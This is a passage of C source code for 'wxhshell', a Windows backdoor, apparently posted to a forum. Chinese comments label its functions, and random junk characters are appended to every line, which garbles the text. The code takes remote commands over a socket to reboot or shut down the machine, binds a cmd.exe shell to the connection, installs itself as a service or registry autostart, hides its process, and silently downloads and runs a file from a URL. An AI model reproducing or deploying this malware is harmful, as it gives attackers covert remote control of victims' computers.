    switch(cmd[0]) { ()}(3>O-  
  '@0Z#A  
  // 帮助 #}xw *)3  
  case '?': { s78MXS?py  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /]1$Soo  
    break; ^5'pJ/BV  
  } EjA3hHJ  
  // 安装 F>F2Yql&W  
  case 'i': { C(%b!Q,2  
    if(Install()) H^3f!\MC;o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AT6o~u!WU  
    else 42oW]b%P{;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B}(r>8?dm  
    break; /nq\*)S#&  
    } aRV .;S  
  // 卸载 WWEZTFL:j  
  case 'r': { #"qP4S2  
    if(Uninstall()) N%f% U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n 9>**&5L  
    else C ^IPddw>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W5*Kq^6Pd  
    break; b)+;=o%  
    } w!%"b03q  
  // 显示 wxhshell 所在路径 4j1$1C{  
  case 'p': { Wa5B;X~  
    char svExeFile[MAX_PATH]; e S: 8Pn  
    strcpy(svExeFile,"\n\r"); +dG3/vV  
      strcat(svExeFile,ExeFile); Hk8lHja+\  
        send(wsh,svExeFile,strlen(svExeFile),0); JW},7Ox  
    break; ?S<`*O +  
    } XN^l*Q?3n  
  // 重启 \Ota~A  
  case 'b': { sRI0;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^7Rc\   
    if(Boot(REBOOT)) 3<x1s2U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $2E&~W %  
    else { 41v#|%\w  
    closesocket(wsh); 1j*E/L  
    ExitThread(0); y3 "+4e  
    } 5La' I7q  
    break; `nCVO;B  
    } O#@G .~n?  
  // 关机 :Ahw{z`H#  
  case 'd': { 9u;/l#?@T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aizJ&7(>  
    if(Boot(SHUTDOWN)) 6}cN7wnm j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3iIURSG@  
    else { ,<(0T$o E[  
    closesocket(wsh); ],~H3u=s3  
    ExitThread(0); h'nXV{N0  
    } 8B`w!@hf  
    break; Fhrj$  
    } &J\<"3  
  // 获取shell FeT| Fh:L  
  case 's': { M <nH  
    CmdShell(wsh); 50CjH"3PZ`  
    closesocket(wsh); 6b1AIs8  
    ExitThread(0); b OolBKV  
    break; :V0sKg|sS  
  } ES)@iM?5  
  // 退出 ]7{ e~U  
  case 'x': { bo-L|R&O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n_{az{~  
    CloseIt(wsh);  y 2C Jk~  
    break; K=Z.<f  
    } t2(vtxrt  
  // 离开 nN2huNTf:  
  case 'q': { `]=0oDG:1!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1)#dgsa  
    closesocket(wsh); b~*CJ8Ad  
    WSACleanup(); 3UX6Y]E3  
    exit(1); &Nw[J5-"k  
    break; W6s-epsRmT  
        } gW-mXb  
  } Mi} .  
  } feJl[3@tO  
^kK% 8 u  
  // 提示信息 OH13@k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fXe$Ug|5a  
} |s,y/svp  
  } K: |-s4=  
h])oo:u'/Q  
  return; -%dBZW\u2  
} DB+oCE<.#  
bao"iv~z  
// shell模块句柄 FeNNzV=  
int CmdShell(SOCKET sock) w$Z%RF'p  
{ e^}@X[*'#  
STARTUPINFO si; qP$)V3l  
ZeroMemory(&si,sizeof(si)); _fccZf(yC.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j[A:So  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [:zP]l.|  
PROCESS_INFORMATION ProcessInfo; ^'n;W<\p)  
char cmdline[]="cmd"; Q*hXFayx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uO)vGzt3^x  
  return 0; 2;K2|G7  
} Jflm-Hhsf  
J |w%n5Y  
// 自身启动模式 8O_yZ ~Z4  
int StartFromService(void) Us.k,  
{ Ae%AG@L  
typedef struct &`,Y/Cbw  
{ @*E=O|  
  DWORD ExitStatus; Sf*gAwnW  
  DWORD PebBaseAddress; ME66BWg{  
  DWORD AffinityMask; <.2jQ#So  
  DWORD BasePriority; lPD&Doa  
  ULONG UniqueProcessId; pL . 0_  
  ULONG InheritedFromUniqueProcessId; G +&pq  
}   PROCESS_BASIC_INFORMATION; e$Mvl=NYp\  
|\>Ifv%{  
PROCNTQSIP NtQueryInformationProcess; 1ASoH,D/  
$AizKiV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l.P;85/+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IL1iTR H  
4hxa|f  
  HANDLE             hProcess; iuA_ Jr  
  PROCESS_BASIC_INFORMATION pbi; v o4U%  
K $WMrp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +4Fw13ADE  
  if(NULL == hInst ) return 0; Q/q>mN"#1  
B}"V.Msv/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <'QI_mP*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )}P/xY0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cwOa"]t}  
^]D+H9Tl  
  if (!NtQueryInformationProcess) return 0; Sx8C<S5r<  
MxH |yo[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !b=W>5h  
  if(!hProcess) return 0; ^ FM  
7?D?s!%\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >=:^N-a  
NTEN  
  CloseHandle(hProcess); rHi4Pw{L  
dtE"1nR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T2n3g|4  
if(hProcess==NULL) return 0; S>)[n]f  
%WC ^aKfY  
HMODULE hMod; "%b Gw v  
char procName[255]; 2m"cK^  
unsigned long cbNeeded; pSI8"GwQ  
D&@Iuo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?bpV dm!  
-:kIIK   
  CloseHandle(hProcess); J"Fp),  
M[+#*f.T}  
if(strstr(procName,"services")) return 1; // 以服务启动 Yep~C %/}  
jSSEfy>^  
  return 0; // 注册表启动 ExMd$`gW  
} B*Ey&DAV  
Rt:^'Qi$!  
// 主模块 ef)zf+o  
int StartWxhshell(LPSTR lpCmdLine) +,]VXH<y  
{ !!ma]pB,  
  SOCKET wsl; *H i}FI  
BOOL val=TRUE;  Bnk '  
  int port=0; >t<\zC|~w  
  struct sockaddr_in door; T"aE]4_  
w0+X;aId  
  if(wscfg.ws_autoins) Install(); a4gX@&it_k  
AW E ab  
port=atoi(lpCmdLine); ?z <-Ww  
JypP[yQ  
if(port<=0) port=wscfg.ws_port; bdLi _k  
6(BgnH8oc  
  WSADATA data; ^}{x).  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #@xB ?u-0q  
G%, RD}D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ? |#dGk g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *G7cF  
  door.sin_family = AF_INET; P -nhG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0\vG <  
  door.sin_port = htons(port); QxN1N^a0  
qE|syA9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yufj y=!  
closesocket(wsl); [3I|MZ  
return 1; 1q@R04i  
} rmo\UCD  
dGi HO  
  if(listen(wsl,2) == INVALID_SOCKET) { I{r*Y9  
closesocket(wsl); l^OflZC~  
return 1; ZHa>8x;Mjl  
} t=xEUOQAn  
  Wxhshell(wsl); qTN%9!0@9  
  WSACleanup(); 9(nq 4 HvI  
,lStT+A  
return 0; ,i??}Wm5G  
.}v" `>x  
} tXH;4K@  
lixM0  
// 以NT服务方式启动 cJv/)hRaz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]@b9m  
{ -B9e&J {K  
DWORD   status = 0; RRB=JP{r  
  DWORD   specificError = 0xfffffff; \@WVeFr  
dS3\P5D.*c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1+WVh7gF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i>]PW|]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5 7t.Ud  
  serviceStatus.dwWin32ExitCode     = 0; 1kw*Q:   
  serviceStatus.dwServiceSpecificExitCode = 0; )dqNN tS  
  serviceStatus.dwCheckPoint       = 0; mJ=V <_  
  serviceStatus.dwWaitHint       = 0; pjX=:K|  
CoNaGb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <R;wa@a>  
  if (hServiceStatusHandle==0) return; M?UUT8,  
5lJL[{  
status = GetLastError(); ^/#G,MxNy  
  if (status!=NO_ERROR) -{k8^o7$  
{ N0Y4m_dm*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y.J>}[\&x  
    serviceStatus.dwCheckPoint       = 0; }8#Ed;%K  
    serviceStatus.dwWaitHint       = 0; bT&{8a  
    serviceStatus.dwWin32ExitCode     = status; u~j H  
    serviceStatus.dwServiceSpecificExitCode = specificError; R:YVmqd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FZ ?eX`,  
    return; BZHoRd{EH  
  } ]W14'Z  
i9XpP(mf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q,^/Lm|]k  
  serviceStatus.dwCheckPoint       = 0; t@9-LYbL  
  serviceStatus.dwWaitHint       = 0; V){Io_"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y`(Ri-U4  
} iiMS3ueF  
)=d)j^ t9  
// 处理NT服务事件,比如:启动、停止 7xv9v1['  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jhQoBC>:  
{ =>`z k^  
switch(fdwControl) 'JJKnE zQ  
{ ~{tO8 ]  
case SERVICE_CONTROL_STOP: |xcC'1WU  
  serviceStatus.dwWin32ExitCode = 0; sdg2^]|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RuIBOo\XL7  
  serviceStatus.dwCheckPoint   = 0; BK+P  
  serviceStatus.dwWaitHint     = 0; H.4ISmXU  
  { ?L7DVwVa,I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2=n`z) R  
  } 3PZ(Kn<  
  return; 1h?ve,$  
case SERVICE_CONTROL_PAUSE: 1x;@BV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ca5#'3Eh  
  break; >Ti%Th,  
case SERVICE_CONTROL_CONTINUE: J ( d[05x0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ih|4ISI  
  break; x@Z{5w_a  
case SERVICE_CONTROL_INTERROGATE: #f24a?n|  
  break; T`fT[BaY  
}; #jg-q|nd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bUm%#a  
} `1(ED= |  
_Ffg"xoC  
// 标准应用程序主函数 " WQ6[;&V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]zaTX?F:  
{ IiqqdU]  
_$c o Y  
// 获取操作系统版本 .,xyE--;d  
OsIsNt=GetOsVer(); sV,Yz3E<u$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1L4-;HYJm  
aYT!xdCI  
  // 从命令行安装 ~LpkA`Hn!  
  if(strpbrk(lpCmdLine,"iI")) Install(); \DS*G7.A+&  
Lk,q~  
  // 下载执行文件 SDO:Gma  
if(wscfg.ws_downexe) { 'LPyh ;!f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4~h 0/H"  
  WinExec(wscfg.ws_filenam,SW_HIDE); (9I(e^@]  
} q9rm9#}[J#  
FsJk"$}  
if(!OsIsNt) { ZAn @NA=  
// 如果时win9x,隐藏进程并且设置为注册表启动 n4S`k%CI  
HideProc(); xw}yl4WT{  
StartWxhshell(lpCmdLine); v{t pRL0  
} hZ*vk  
else tt?`,G.(]  
  if(StartFromService()) E-.X%xfO  
  // 以服务方式启动 >9A18xC  
  StartServiceCtrlDispatcher(DispatchTable); JS^DyBXc  
else G`O*AQ}[  
  // 普通方式启动 rP7 QW)NF  
  StartWxhshell(lpCmdLine); >P~*@>e  
*{#C;"  
return 0; !'^l}K>  
}
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只看该作者 1 发表于: 2006-10-10
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